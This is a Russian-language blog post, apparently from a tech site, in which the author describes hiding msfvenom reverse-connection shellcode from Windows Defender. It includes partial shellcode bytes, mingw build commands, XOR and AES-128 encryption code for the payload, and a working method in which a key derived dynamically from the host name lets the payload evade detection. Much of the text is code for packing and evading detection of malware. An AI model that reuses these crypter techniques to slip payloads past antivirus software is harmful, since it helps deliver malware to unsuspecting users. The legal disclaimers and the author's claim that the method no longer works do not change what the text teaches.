Сила шифрования или как я выявил недостаток работы Defender’а28.04.2024 18:45

Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!

В наше время цифровая безопасность все более актуальна, поскольку важность защиты конфиденциальной информации и данных не может быть переоценена. Шифрование информации становится все более неотъемлемой частью нашей цифровой жизни, обеспечивая надежную защиту от несанкционированного доступа.

К сожалению, шифрование часто используется не только в хороших, но и плохих целях.

В данной статье рассмотрим, как технологии шифрования помогают в защите конфиденциальности и целостности данных, а также как современные средства безопасности могут оказаться недостаточными для полноценный защиты.

Мы проанализируем случай, когда использование шифрования стало ключевым элементом в обнаружении недостатка в работе средств защиты, и поймем почему так происходит.

Примечание

В качестве примера, создал нагрузку, которая вызовет диалоговое окно с подтверждением активации обратного соединения, а также его прекращения.

Ниже представлен пример инициализации нагрузки посредством его внедрения в исполняемый код на языке С++.

  unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
                              "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
                              .....................укороченная.версия...................                
                              "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x7c"
                              "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

Основная часть

Генерация нагрузки

В качестве инструмента для тестирования на проникновение, использовал msfvenom.

Внимание! Использование данного программного обеспечения возможно только с санкции пользователя и ни в каких других случаях невозможно!

Нагрузку я выбрал самую тривиальную. Ее использование детектится.

Упаковка

Для корректной упаковки, я использовал x86_64-w64-mingw32-g++

Установить его можно с помощью следующей команды:

apt install x86_64-w64-mingw32-g++

Тестовая сборка:

x86_64-w64-mingw32-g++ -o test.exe test.cpp

Запустил и обнаружил следующее:

Как видно, ошибка связана отсутствием libstdc++-6.dll. Починить это можно путем прямой установки нужных компонент. Но можно собрать файл заново, используя «статическую линковку» (внедрение необходимых зависимостей в файл). Безусловно, при таком подходе вес файла станет больше, но, зато будет всё работать.

Для этого, к прошлой команде добавил флаг -static

x86_64-w64-mingw32-g++ -static -o test.exe test.cpp

Запустил файл:

Выявление недостатка работы АВ

В работоспособности исполняемого файла убедился. А теперь попробовал запустить файл с активированной защитой на хосте.

Поскольку я использовал стандартную нагрузку без шифрования, Defender с легкостью обнаружил ВПО.

Шифрование нагрузки

XOR

Стандарт кодирования- это XOR (исключающее или).

Реализация в коде:

void encryptdecrypt(unsigned char* shellcode, size_t size, unsigned char key) {
for (size_t i = 0; i < size; i++) {
shellcode[i] ^= key;
}
}

unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 };
size_t shellcodeSize = sizeof(originalShellcode);
unsigned char key = 0x16; // Ключ для XOR-шифрования
encryptdecrypt(originalShellcode, shellcodeSize, key);// Шифрование нагрузки
...
// Расшифрование нагрузки перед выполнением
encryptdecrypt(static_cast(execMemory), shellcodeSize, key);

Здесь видно, что XOR не справился со своей задачей.

Далее, я подумал, что можно усложнить ключ, сделав его последовательностью байт:

void encryptdecrypt(unsigned char shellcode, size_t size, unsigned char key, size_t keysize) {
for (size_t i = 0; i < size; i++) {
shellcode[i] ^= key[i % keysize];
}
}

unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 };
size_t shellcodeSize = sizeof(originalShellcode);
unsigned char key[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 };
size_t keysize = sizeof(key);
encryptdecrypt(originalShellcode, shellcodeSize, key, keysize);
...
encryptdecrypt(static_cast(execMemory), shellcodeSize, key, keysize);

Это также не сработало

Вариант с XOR можно пока что отложить. Вероятно, нужно более сложное шифрование. Попробовал AES128

AES

Использовал реализацию от Сергея Бела: https://github.com/SergeyBel/AES/blob/master/README.md

Результаты работы библиотеки:

Также для массива в другом виде:

Как видно, для второго варианта расшифрование выполняется некорректно.

Что я понял при знакомстве с AES и библиотек в частности:

Ключ должен быть кратен 16 байтам;
Размер массива должен быть также кратен 16 байтам;
Размер ключа при расшифровании должен быть использован тот же, что и при шифровании;
Для корректной работы, рекомендуется использовать вариант нагрузки в виде строки, поскольку может возникнуть ошибка по длине/некорректное расшифрование (см. пример выше);
Если не хватает длины до кратности, можно дополнить нагрузку с помощью "\x00";
Для подключения библиотеки достаточно просто заинклудить хэдер и добавить в проект .cpp;
При нагрузке в виде строки, необходимо учитывать важную вещь: к размерности массива автоматически прибавляется 1;

Пример дополнения:

Для видимости дебага, переписал throw в исходниках на cout

Буду дополнять слово «hello»:

Имею ошибки по длине. Дополню 9 байт:

Внедряем библиотеку в код

Сначала я дополнил нагрузку до нужной длины (512 байт), зашифровал, а потом расшифровал ее и опять словил детект.

Тогда ко мне в голову пришла идея использовать в качестве массива заранее зашифрованное сообщение.

Шифрование и расшифрование будет происходить с одним и тем же ключом.

Итак, благодаря функции aes.printHexArray();, я смог вывести зашифрованный массив байт. Теперь приведу его к виду строки.

Прошу обратить внимание, что расшифровка прошла успешно, но это не принесло никаких результатов.

Тогда я подумал, что, возможно, стоит использовать XOR поверх AES. Также мне хотелось избежать хранения «сырой» нагрузки в коде, поэтому, для удобства, я написал следующий скрипт:

#include 
#include "windows.h"
#include "AES.h"
#include 
void encryptdecrypt(unsigned char shellcode, unsigned int size, unsigned char key, size_t keysize) {
for (size_t i = 0; i < size; i++) {
shellcode[i] ^= key[i % keysize];
}
}
int main() {
AES aes(AESKeyLength::AES_128);
unsigned char shellcode[] = { 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x6d, 0x79, 0x20, 0x66, 0x72, 0x69, 0x65, 0x6e, 0x64, 0x00 };
unsigned int shellcodesize = sizeof(shellcode);
std::cout << "Shellcode len: " << shellcode;
std::cout << shellcodesize << std::endl;
unsigned char aeskey[] = { 0x23, 0x45, 0x67, 0x89,0xAB, 0xCD, 0xEF, 0x10,0x32, 0x54, 0x76, 0x98,0xBA, 0xDC, 0xFE, 0x00 };
unsigned char xorkey[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 };
unsigned char aesshellcode = aes.EncryptECB(shellcode, shellcodesize, aeskey);
std::cout << "AES ENCRYPT: ";
aes.printHexArray(aesshellcode, shellcodesize);
size_t keysize = sizeof(xorkey);
std::cout << "\n\n";
encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize);
std::cout << "AES + XOR ENCRYPT: ";
for (int i = 0; i < shellcodesize; i++) {
std::cout <<  std::hex << std::setfill('0') << std::setw(2) << static_cast(aesshellcode[i]);
if (i < shellcodesize - 1) {
std::cout << ", ";
}
}
std::cout << "\n\n";
std::cout << "XOR DECRYPT: ";
encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize);
for (int i = 0; i < shellcodesize; i++) {
std::cout <<  std::hex << std::setfill('0') << std::setw(2) << static_cast(aesshellcode[i]);
if (i < shellcodesize - 1) {
std::cout << ", ";
}
}
unsigned char decaesshelcode = aes.DecryptECB(aesshellcode, shellcodesize, aeskey);
std::cout << "\n\n";
std::cout << "XOR + AES DECRYPT: ";
aes.printHexArray(decaesshelcode, shellcodesize);
}

Результат работы скрипта:

Смысл скрипта такой:

Plain -> AES -> XOR -> deXOR -> deAES -> Plain

По сути, мне необходимы следующие вещи из этого кода: ключи и AES+XOR массив байт. Строки дальше существуют чисто для проверки корректности работы шифрования/расшифрования.

Проверка такого способа вновь завершилась неудачей. Я подумал, что наверняка есть какой-то способ проверить в чем именно проблема. Оказалось, что даже если я зашифрую нагрузку хоть 100 раз и 100 раз в коде будут лежать ключи в открытом виде, АВ средство с легкостью обнаружит ВПО, что достаточно круто и похвально.

Финальный этап

Я понял, что нужно избавиться от статики в пользу динамики, тем самым обезличив ключи и сделав их генерацию псевдослучайной.

Для этого использовал библиотеку windows.h, которая позволяет работать с WinAPI

И сама генерация ключа:

Очевидно, что, для данного случая, необходимо заведомо знать имя хоста, но для моего исследования это некритично, поскольку работаю на локальных машинах.

В качестве эксперимента, моя схема состояла в следующем:

Как можно заметить, я не отказался от статических ключей. Идея состояла в проверке необходимости и достаточности хотя бы одного динамического ключа.

Видно, что в процессе выполнения кода, нагрузка сначала будет расшифрована с помощью динамического ключа. Затем, получится так, что останется нагрузка только со статическим ключом, которая, по идее, не должна отработать (примеры выше).

Но, на мое удивление, это сработало!

Вывод

В конечном итоге, исследование выявило серьезный недостаток в работе АВ средства Windows Defender, связанное с некачественным анализом приложений, использующих динамические ключи для шифрования участков кода. Это поднимает важные вопросы о безопасности информации и подчеркивает необходимость улучшения средств защиты. Несмотря на то, что данный способ уже не работает (статья писалась 3 месяца), подобные уязвимости могут иметь далеко идущие последствия. Напоследок, еще раз хочется подчеркнуть, что повторение данных действий приводит к нарушению законодательства.